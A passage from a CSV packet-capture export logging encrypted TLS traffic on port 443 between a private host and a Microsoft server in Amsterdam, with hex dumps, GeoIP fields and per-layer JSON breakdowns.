Corporation,52.3759,4.8975,52.97.250.192/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4018534058 Ack=4211344784,bc24112907bbbc2411360d0c08004500009c290040008006ff640a98980b3461faf2fa0401bbef85f6aafb040590501803febc1c0000170303006f00000000000000023c8be6e1dcbee31d9c32e9cc2b52dde706b17902697011315ad2f478edfb55cd1498c75593123f40f95d685603bf83dea43402bd6c693938cac5ef910e450f976948813cdc63f0975e5f3599bdbfdbd9acf555d4445f06cc33fb683abc2fb505dec0b10a072a2a,\".$.)...$.6\n...E...).@....d\n...4a..............P...........o........<........2..+R....y.ip.1Z..x..U....U..?@.]hV.....4..li98.....E..iH.<.c..^_5.......U.D_..3.h:./.....\n.**\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 10496, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65380, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534058, \"\"ack\"\": 4211344784, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 48156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02<\\\\x8b\\\\xe6\\\\xe1\\\\xdc\\\\xbe\\\\xe3\\\\x1d\\\\x9c2\\\\xe9\\\\xcc+R\\\\xdd\\\\xe7\\\\x06\\\\xb1y\\\\x02ip\\\\x111Z\\\\xd2\\\\xf4x\\\\xed\\\\xfbU\\\\xcd\\\\x14\\\\x98\\\\xc7U\\\\x93\\\\x12?@\\\\xf9]hV\\\\x03\\\\xbf\\\\x83\\\\xde\\\\xa44\\\\x02\\\\xbdli98\\\\xca\\\\xc5\\\\xef\\\\x91\\\\x0eE\\\\x0f\\\\x97iH\\\\x81<\\\\xdcc\\\\xf0\\\\x97^_5\\\\x99\\\\xbd\\\\xbf\\\\xdb\\\\xd9\\\\xac\\\\xf5U\\\\xd4D_\\\\x06\\\\xcc3\\\\xfbh:\\\\xbc/\\\\xb5\\\\x05\\\\xde\\\\xc0\\\\xb1\\\\n\\\\x07**' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:51.749118,112,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4211344784 Ack=4018534174,bc2411360d0cbc24112907bb080045000028f7be40004006711a3461faf20a98980b01bbfa04fb040590ef85f71e5010003fd2110000,\".$.6\n..$.)....E..(..@.@.q.4a..\n...............P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 63422, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28954, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211344784, \"\"ack\"\": 4018534174, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.749165,113,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4018534174 Ack=4211344784,bc24112907bbbc2411360d0c08004500004e290140008006ffb10a98980b3461faf2fa0401bbef85f71efb040590501803fe063f00001703030021000000000000000362a473f453b7b4230845599a917daabe50808bbda8cc9717dd,\".$.)...$.6\n...E..N).@.....\n...4a..............P....?......!........b.s.S..#.EY..}..P........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 10497, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65457, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534174, \"\"ack\"\": 4211344784, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 1599, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03b\\\\xa4s\\\\xf4S\\\\xb7\\\\xb4#\\\\x08EY\\\\x9a\\\\x91}\\\\xaa\\\\xbeP\\\\x80\\\\x8b\\\\xbd\\\\xa8\\\\xcc\\\\x97\\\\x17\\\\xdd' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:51.749173,114,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4211344784 Ack=4018534212,bc2411360d0cbc24112907bb080045000028f7bf4000400671193461faf20a98980b01bbfa04fb040590ef85f7445010003fd2110000,\".$.6\n..$.)....E..(..@.@.q.4a..\n..............DP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 63423, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28953, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211344784, \"\"ack\"\": 4018534212, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:52.067320,115,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=4211344784 Ack=4018534212,bc2411360d0cbc24112907bb0800450004a6f7c0400040066c9a3461faf20a98980b01bbfa04fb040590ef85f7445018003fd68f000017030300210000000000000002217a1205a3241eb9fdd86ec2a574522c14e19680fd6322b11c17030303540000000000000003dff5ce4b35fc1d4f6c1bb7a7b2b0f81d73564a8458e213559a0f98aa4833c26ffa53750410d6b2aef6ed179559af64c9a5b9597b574d16abd1eb43c171397bdcc2da984f79e4cdb1f04a6c19a3fb2d6e7626b04186f69b22e2102debd70b41d0973219f2c195e548f7a02f950183feb2b14a8f7864f2c620258171cd8d020cd1c1737104919fb3a250feea5f8f8526960e8493b749383b5a999b39a70fc8cd7d4e1a9c63b0d70f37cc68fc92b151386135497501bfddcc1aee826599e49becc8c33e418b8c988851544a7d3d3b603518d3928c3e44fc1348cd3c323b16af2d14eb5421e79641506477157224e026be0764856788b95e49736bf6f331c0635c2097b0034904dbf8eda7ae126476454a9ae3ecdb9f6fa838bdf50a27e86e41d140ccfbe69e0b60f299886d5aef2efddf90dff6bb06d0010a2897d4f03e839eb8b254dfc963d9399842b8876ed1e2cc32394490e14858619ff54692882abd0c89dde27284aea6c43b0c60f0429d637bdbfa41c6bfe8ed94edcb7fe7a4a21817ca76155b7a9bff6441604077ee50e611c49ef90e75e83c9661c9974a62c4f5b8ba7fd0084c629961a91371e50ccbce42d52604cc5d05036939e34e6430b43a0e52e2a9fa6ef2215d1e65fa4f998c3c63852a268e0a33e5dd39a2c01343b9636a18fd583ba7c0a0340e46f3a2b3908a3f01415d2bd6718c422e4c3e712987afc28eee5451c154649cafe846391422fa94eadd819ae96193bbb30a3a124903ee1695ccfce59e13d72b6044d0aa306217ce8415505274ee6c7eecf6cd2410eb15b48731aebd9109c0cdd70e1b650558268c6e32e31cb89c5dcfb2851efeb258905a1829f14d9a915c3769b15defc31a0dd7d6d35dd55fd326f7ca53ae66ba58b835ad85e350b4f7a15e8ae39a6b7690ca6bf080d1f9d6f9f21900ee13d1c3fbe5f05213683792a040152e24b10b3ce344cd89eb949da4cda425d1a5ca1544475585559d2575e063a2c377af456aada4032305cf7547b88e52286bafc67bcbe64b5b56417f96aa9bcf7955e2be6361655398e6eb0cfca22c31509e17bc6779c330aa80a3e9df7c59246fbae349191d37854753589d3f6b0e26e3510d9f81e5df19a3dc936578d548f68b5a57b93d8b5436b068360b8ea591de3de7091fe996cd9b7f0603e6fd69cfd98410996e530a9317030300d4000000000000000404810190116475ffe4a48525601ba7a7a2c33f1d9a5b751ca0392f5e51bb15692cf853b999b3ddacdfcd80c49db4a25c6eeeb07c54c166c9d7d3836a27d620d3cde60af22e49326895a709e0c0d54cf37b1123c0e2775740e3945efefaa7c1780e1c79dc2eadf0ad98175f97ef4227da4f951fe49f3966f529284e99e9b4924188263cd8b66b1dd62ef65b39d4375378672b39766406cebe3ec5fe9091a5676f338e9682f96e04a25adb117a957b9717f059ee72d0cc5eb867dec5d5cf1f616fb8f65aee7fe76669b03948d7170303002100000000000000050d75fe0d7cc4ed94b8d03aafdd1d0b3089acb385ae8dabbd93,\".$.6\n..$.)....E.....@.@.l.4a..\n..............DP..?........!........!z...$....n..tR,.....c\"\"......T...........K5..Ol.......sVJ.X..U....H3.o.Su.........Y.d...Y{WM....C.q9{....Oy....Jl...-nv&.A...\"\"..-...A..2.....H../......J.xd.. %.q......sq.....P.._..&.....I8;Z..9....}N..c...7.h...Q8a5Iu.......e......>A....QTJ}=;`5....>D..H.<2;..-..T!..APdw.r$.&..d.g..^Isk..1.c\\ ...I.......dvEJ.....o.8..\n'.nA.@.....`...mZ...........\n(...>....T..c.9.B..n...29D..HXa..F..*.....r....;.`.B.c{..A..............v.[z..dA`@w.P......u.<.a..Jb.......Lb.a..q....B.&..]..i9.Nd0.:.R...n.!].e.O..<c.*&.\n3..9...C.cj..X;...4.F.....?.A]+.q.B.L>q).....TQ.Td...F9.\"\".......a...\n:.I..........+`D..0b....PRt.l~...$.....1...\t.....e.X&.n2....]......X.Z.).M..\\7i.]...\n...]._.&..S.f.X.5...P...^...kv..k................R.h7..@..$..<.D........%....DGU.U.%u.c..w.Ej...#..uG..R(k..{..K[VA.....yU..caeS......,1P...gy.0.....|Y$o..I..7.GSX.?k.&.Q\n........ex.H..ZW.=.T6.h6.....=.\t..........i.....nS\n...................du....%`.....?..[u..9/^Q..i,.S............\\n..|T.f....j'. ...\n..I2h..\t...L.{.#..wW@..^....x..y......._..B'.O....9f.)(N....A.&<..k....[9.7Sxg+9vd...>.....go3....n..Z..z.{...Y.r..^.g.....ao..Z...fi.9H.....!........\nu.\n|.....:....0.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1190, \"\"id\"\": 63424, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27802, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211344784, \"\"ack\"\": 4018534212, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 54927, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02!z\\\\x12\\\\x05\\\\xa3$\\\\x1e\\\\xb9\\\\xfd\\\\xd8n\\\\xc2\\\\xa5tR,\\\\x14\\\\xe1\\\\x96\\\\x80\\\\xfdc\\\"\"\\\\xb1\\\\x1c' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 852, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xdf\\\\xf5\\\\xceK5\\\\xfc\\\\x1dOl\\\\x1b\\\\xb7\\\\xa7\\\\xb2\\\\xb0\\\\xf8\\\\x1dsVJ\\\\x84X\\\\xe2\\\\x13U\\\\x9a\\\\x0f\\\\x98\\\\xaaH3\\\\xc2o\\\\xfaSu\\\\x04\\\\x10\\\\xd6\\\\xb2\\\\xae\\\\xf6\\\\xed\\\\x17\\\\x95Y\\\\xafd\\\\xc9\\\\xa5\\\\xb9Y{WM\\\\x16\\\\xab\\\\xd1\\\\xebC\\\\xc1q9{\\\\xdc\\\\xc2\\\\xda\\\\x98Oy\\\\xe4\\\\xcd\\\\xb1\\\\xf0Jl\\\\x19\\\\xa3\\\\xfb-nv&\\\\xb0A\\\\x86\\\\xf6\\\\x9b\\\"\"\\\\xe2\\\\x10-\\\\xeb\\\\xd7\\\\x0bA\\\\xd0\\\\x972\\\\x19\\\\xf2\\\\xc1\\\\x95\\\\xe5H\\\\xf7\\\\xa0/\\\\x95\\\\x01\\\\x83\\\\xfe\\\\xb2\\\\xb1J\\\\x8fxd\\\\xf2\\\\xc6 %\\\\x81q\\\\xcd\\\\x8d\\\\x02\\\\x0c\\\\xd1\\\\xc1sq\\\\x04\\\\x91\\\\x9f\\\\xb3\\\\xa2P\\\\xfe\\\\xea_\\\\x8f\\\\x85&\\\\x96\\\\x0e\\\\x84\\\\x93\\\\xb7I8;Z\\\\x99\\\\x9b9\\\\xa7\\\\x0f\\\\xc8\\\\xcd}N\\\\x1a\\\\x9cc\\\\xb0\\\\xd7\\\\x0f7\\\\xcch\\\\xfc\\\\x92\\\\xb1Q8a5Iu\\\\x01\\\\xbf\\\\xdd\\\\xcc\\\\x1a\\\\xee\\\\x82e\\\\x99\\\\xe4\\\\x9b\\\\xec\\\\xc8\\\\xc3>A\\\\x8b\\\\x8c\\\\x98\\\\x88QTJ}=;`5\\\\x18\\\\xd3\\\\x92\\\\x8c>D\\\\xfc\\\\x13H\\\\xcd<2;\\\\x16\\\\xaf-\\\\x14\\\\xebT!\\\\xe7\\\\x96APdw\\\\x15r$\\\\xe0&\\\\xbe\\\\x07d\\\\x85g\\\\x88\\\\xb9^Isk\\\\xf6\\\\xf31\\\\xc0c\\\\\\\\ \\\\x97\\\\xb0\\\\x03I\\\\x04\\\\xdb\\\\xf8\\\\xed\\\\xa7\\\\xae\\\\x12dvEJ\\\\x9a\\\\xe3\\\\xec\\\\xdb\\\\x9fo\\\\xa88\\\\xbd\\\\xf5\\\\n\\\\'\\\\xe8nA\\\\xd1@\\\\xcc\\\\xfb\\\\xe6\\\\x9e\\\\x0b`\\\\xf2\\\\x99\\\\x88mZ\\\\xef.\\\\xfd\\\\xdf\\\\x90\\\\xdf\\\\xf6\\\\xbb\\\\x06\\\\xd0\\\\x01\\\\n(\\\\x97\\\\xd4\\\\xf0>\\\\x83\\\\x9e\\\\xb8\\\\xb2T\\\\xdf\\\\xc9c\\\\xd99\\\\x98B\\\\xb8\\\\x87n\\\\xd1\\\\xe2\\\\xcc29D\\\\x90\\\\xe1HXa\\\\x9f\\\\xf5F\\\\x92\\\\x88*\\\\xbd\\\\x0c\\\\x89\\\\xdd\\\\xe2r\\\\x84\\\\xae\\\\xa6\\\\xc4;\\\\x0c`\\\\xf0B\\\\x9dc{\\\\xdb\\\\xfaA\\\\xc6\\\\xbf\\\\xe8\\\\xed\\\\x94\\\\xed\\\\xcb\\\\x7f\\\\xe7\\\\xa4\\\\xa2\\\\x18\\\\x17\\\\xcav\\\\x15[z\\\\x9b\\\\xffdA`@w\\\\xeeP\\\\xe6\\\\x11\\\\xc4\\\\x9e\\\\xf9\\\\x0eu\\\\xe8<\\\\x96a\\\\xc9\\\\x97Jb\\\\xc4\\\\xf5\\\\xb8\\\\xba\\\\x7f\\\\xd0\\\\x08Lb\\\\x99a\\\\xa9\\\\x13q\\\\xe5\\\\x0c\\\\xcb\\\\xceB\\\\xd5&\\\\x04\\\\xcc]\\\\x05\\\\x03i9\\\\xe3Nd0\\\\xb4:\\\\x0eR\\\\xe2\\\\xa9\\\\xfan\\\\xf2!]\\\\x1ee\\\\xfaO\\\\x99\\\\x8c<c\\\\x85*&\\\\x8e\\\\n3\\\\xe5\\\\xdd9\\\\xa2\\\\xc0\\\\x13C\\\\xb9cj\\\\x18\\\\xfdX;\\\\xa7\\\\xc0\\\\xa04\\\\x0eF\\\\xf3\\\\xa2\\\\xb3\\\\x90\\\\x8a?\\\\x01A]+\\\\xd6q\\\\x8cB.L>q)\\\\x87\\\\xaf\\\\xc2\\\\x8e\\\\xeeTQ\\\\xc1Td\\\\x9c\\\\xaf\\\\xe8F9\\\\x14\\\"\"\\\\xfa\\\\x94\\\\xea\\\\xdd\\\\x81\\\\x9a\\\\xe9a\\\\x93\\\\xbb\\\\xb3\\\\n:\\\\x12I\\\\x03\\\\xee\\\\x16\\\\x95\\\\xcc\\\\xfc\\\\xe5\\\\x9e\\\\x13\\\\xd7+`D\\\\xd0\\\\xaa0b\\\\x17\\\\xce\\\\x84\\\\x15PRt\\\\xeel~\\\\xec\\\\xf6\\\\xcd$\\\\x10\\\\xeb\\\\x15\\\\xb4\\\\x871\\\\xae\\\\xbd\\\\x91\\\\t\\\\xc0\\\\xcd\\\\xd7\\\\x0e\\\\x1be\\\\x05X&\\\\x8cn2\\\\xe3\\\\x1c\\\\xb8\\\\x9c]\\\\xcf\\\\xb2\\\\x85\\\\x1e\\\\xfe\\\\xb2X\\\\x90Z\\\\x18)\\\\xf1M\\\\x9a\\\\x91\\\\\\\\7i\\\\xb1]\\\\xef\\\\xc3\\\\x1a\\\\r\\\\xd7\\\\xd6\\\\xd3]\\\\xd5_\\\\xd3&\\\\xf7\\\\xcaS\\\\xaef\\\\xbaX\\\\xb85\\\\xad\\\\x85\\\\xe3P\\\\xb4\\\\xf7\\\\xa1^\\\\x8a\\\\xe3\\\\x9akv\\\\x90\\\\xcak\\\\xf0\\\\x80\\\\xd1\\\\xf9\\\\xd6\\\\xf9\\\\xf2\\\\x19\\\\x00\\\\xee\\\\x13\\\\xd1\\\\xc3\\\\xfb\\\\xe5\\\\xf0R\\\\x13h7\\\\x92\\\\xa0@\\\\x15.$\\\\xb1\\\\x0b<\\\\xe3D\\\\xcd\\\\x89\\\\xeb\\\\x94\\\\x9d\\\\xa4\\\\xcd\\\\xa4%\\\\xd1\\\\xa5\\\\xca\\\\x15DGU\\\\x85U\\\\x9d%u\\\\xe0c\\\\xa2\\\\xc3w\\\\xafEj\\\\xad\\\\xa4\\\\x03#\\\\x05\\\\xcfuG\\\\xb8\\\\x8eR(k\\\\xaf\\\\xc6{\\\\xcb\\\\xe6K[VA\\\\x7f\\\\x96\\\\xaa\\\\x9b\\\\xcfyU\\\\xe2\\\\xbecaeS\\\\x98\\\\xe6\\\\xeb\\\\x0c\\\\xfc\\\\xa2,1P\\\\x9e\\\\x17\\\\xbcgy\\\\xc30\\\\xaa\\\\x80\\\\xa3\\\\xe9\\\\xdf|Y$o\\\\xba\\\\xe3I\\\\x19\\\\x1d7\\\\x85GSX\\\\x9d?k\\\\x0e&\\\\xe3Q\\\\r\\\\x9f\\\\x81\\\\xe5\\\\xdf\\\\x19\\\\xa3\\\\xdc\\\\x93ex\\\\xd5H\\\\xf6\\\\x8bZW\\\\xb9=\\\\x8bT6\\\\xb0h6\\\\x0b\\\\x8e\\\\xa5\\\\x91\\\\xde=\\\\xe7\\\\t\\\\x1f\\\\xe9\\\\x96\\\\xcd\\\\x9b\\\\x7f\\\\x06\\\\x03\\\\xe6\\\\xfdi\\\\xcf\\\\xd9\\\\x84\\\\x10\\\\x99nS\\\\n\\\\x93' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 212, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x04\\\\x81\\\\x01\\\\x90\\\\x11du\\\\xff\\\\xe4\\\\xa4\\\\x85%`\\\\x1b\\\\xa7\\\\xa7\\\\xa2\\\\xc3?\\\\x1d\\\\x9a[u\\\\x1c\\\\xa09/^Q\\\\xbb\\\\x15i,\\\\xf8S\\\\xb9\\\\x99\\\\xb3\\\\xdd\\\\xac\\\\xdf\\\\xcd\\\\x80\\\\xc4\\\\x9d\\\\xb4\\\\xa2\\\\\\\\n\\\\xee\\\\xb0|T\\\\xc1f\\\\xc9\\\\xd7\\\\xd3\\\\x83j'\\\\xd6 \\\\xd3\\\\xcd\\\\xe6\\\\n\\\\xf2.I2h\\\\x95\\\\xa7\\\\t\\\\xe0\\\\xc0\\\\xd5L\\\\xf3{\\\\x11#\\\\xc0\\\\xe2wW@\\\\xe3\\\\x94^\\\\xfe\\\\xfa\\\\xa7\\\\xc1x\\\\x0e\\\\x1cy\\\\xdc.\\\\xad\\\\xf0\\\\xad\\\\x98\\\\x17_\\\\x97\\\\xefB'\\\\xdaO\\\\x95\\\\x1f\\\\xe4\\\\x9f9f\\\\xf5)(N\\\\x99\\\\xe9\\\\xb4\\\\x92A\\\\x88&<\\\\xd8\\\\xb6k\\\\x1d\\\\xd6.\\\\xf6[9\\\\xd47Sxg+9vd\\\\x06\\\\xce\\\\xbe>\\\\xc5\\\\xfe\\\\x90\\\\x91\\\\xa5go3\\\\x8e\\\\x96\\\\x82\\\\xf9n\\\\x04\\\\xa2Z\\\\xdb\\\\x11z\\\\x95{\\\\x97\\\\x17\\\\xf0Y\\\\xeer\\\\xd0\\\\xcc^\\\\xb8g\\\\xde\\\\xc5\\\\xd5\\\\xcf\\\\x1fao\\\\xb8\\\\xf6Z\\\\xee\\\\x7f\\\\xe7fi\\\\xb09H\\\\xd7\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\ru\\\\xfe\\\\r|\\\\xc4\\\\xed\\\\x94\\\\xb8\\\\xd0:\\\\xaf\\\\xdd\\\\x1d\\\\x0b0\\\\x89\\\\xac\\\\xb3\\\\x85\\\\xae\\\\x8d\\\\xab\\\\xbd\\\\x93' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:52.067566,116,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018534212 Ack=4211345934,bc24112907bbbc2411360d0c080045000028290240008006ffd60a98980b3461faf2fa0401bbef85f744fb040a0e50100400f23f0000,\".$.)...$.6\n...E..().@.....\n...4a.........D..\n.P....?..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10498, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65494, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534212, \"\"ack\"\": 4211345934, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 62015, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:52.068332,117,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4018534212 Ack=4211345934,bc24112907bbbc2411360d0c080045000068290340008006ff950a98980b3461faf2fa0401bbef85f744fb040a0e5018040076670000170303003b0000000000000004fa2b4a17e2ef818bf9a426910c87fe1864dbac2801153c07786e23173fa88548aaf284f1937b081d5435c9b341e2b40b20a30b,\".$.)...$.6\n...E..h).@.....\n...4a.........D..\n.P...vg......;.........+J.......&.....d..(..<.xn#.?..H.....{..T5..A... ..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 10499, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65429, \"\"src\"\": 